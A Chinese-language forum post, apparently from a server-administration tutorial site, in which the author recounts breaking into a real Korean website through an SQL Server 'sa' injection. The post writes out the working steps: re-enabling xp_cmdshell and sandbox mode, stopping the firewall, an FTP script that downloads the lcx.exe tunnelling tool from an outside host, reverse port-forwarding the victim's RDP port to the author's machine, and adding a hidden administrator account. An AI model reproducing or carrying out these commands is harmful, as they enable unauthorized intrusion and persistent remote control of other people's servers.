360°网站管家_运维学院_提供最新最全的服务器运维视频教程与网站维护视频教程

 找回密码
 快速注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
1 2 3 4
查看: 2555|回复: 0
打印 上一主题 下一主题

sqlserver sa入侵渗透过程

[复制链接]

823

主题

909

帖子

4623

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
4623
跳转到指定楼层
楼主
发表于 2015-10-9 11:37:31 | 只看该作者 |只看大图 回帖奖励 |正序浏览 |阅读模式

亲!这问题您也搜索很久了吧?不如咨询下我们吧


613049616  613049616  613049616   613049616   613049616


下午搞了一个站,存在sa注入点漏洞,window 2000+iis5。
通过注入点信息,发现sqlserver版本为7.00,以前见过一次这个版本,不过没有怎么深入研究,朋友扫弱口令扫描到的,当时也提权了,具体忘记怎么提的了。附图。

扫描这个ip地址发现只对外开放了53跟80,韩国的鸟站,由此猜测可能为内网或者外网但是限制了对外开放的端口。一般情况下会开启1433,跟3389的但是限制对外连接。
sqlserver7.0的虽然以前搞过,但是忘记具体怎么弄了,于是一步一步的先用穿山甲自带的功能恢复xp_cmdshell,sp_oa**,sp_***job,还有一个sandboxmode沙盒模式。都开启之后,随便执行set,ipconfig等命令发现没有回显,也不知道哪个组件可以命令。于是想到一个办法。
现在我本机执行lcx -listen 77 88通过77端口监听外部来的数据。然后在穿山甲里执行net stopsharedaccess通过xp_cmdshell,然后sp_oa**,sp_***job,沙盒模式一一执行,虽然不知道成功没,但是如果可以执行命令,肯定可以成功,目的是为了是对方机器能对外发送数据。接着跟刚才一样执行telnet我的ip 22端口,最终发现通过沙盒模式可以执行命令。

但是对方的3389不允许连接,这时候想通过lcx端口转发来连接对方的3389,虽然不确定是3389但是碰碰运气。
其中的ftp传文件下载文件我亲自测试过,就用这个了。
echo open www.ftp.com>ftp.TXT //连接FTP
echo username>>ftp.TXT      //输入用户名
echo password>>ftp.TXT      //输入密码
echo get lcx c:\lcx.exe>>ftp.TXT //执行下载命令
echobye>>ftp.TXT            //退出
ftp-s:ftp.txt               //执行FTP.TXT文件中的FTP命令
在穿山甲里依次执行以下语句,如果没有特殊情况。lcx就下载到对方机器c盘目录下了。
然后通过沙河模式执行c:/lcx.exe -slave 我的ip 77 127.0.0.1 3389
本机执行lcx -listen 77 88。
过了一小会发现有数据返回,证明lcx已经传上去了,并且将对方3389端口转发到本机上了。
本机再连接127.0.0.1:88,可以连接上终端,然后在穿山甲执行添加用户的命令net user user password/add
net localgroup administrators user /add连接终端,成功登陆。如图。

中间遇到一些问题就不说了。有什么疑问的可以提出来。
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 快速注册

本版积分规则


Archiver|手机版|小黑屋|360wzgj Inc. 百度统计

GMT+8, 2024-11-1 13:30 , Processed in 0.077454 second(s), 34 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表